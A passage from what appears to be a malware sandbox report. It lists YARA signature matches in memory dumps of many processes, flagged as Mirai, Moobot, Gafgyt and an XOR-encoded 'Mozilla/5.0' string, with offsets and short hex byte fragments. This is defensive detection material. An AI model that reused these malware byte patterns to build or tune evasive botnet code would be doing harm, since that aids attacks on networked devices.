78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6757.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6559.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6709.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7062.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7062.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7062.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7062.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7062.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7062.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7182.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7182.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7182.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7182.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7182.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7182.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7122.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7122.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7122.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7122.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7122.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7122.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6925.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6943.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6937.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6937.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6937.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6937.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6937.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6937.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6544.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6582.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6582.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6582.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6582.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6582.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6582.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7064.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7064.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7064.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7064.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
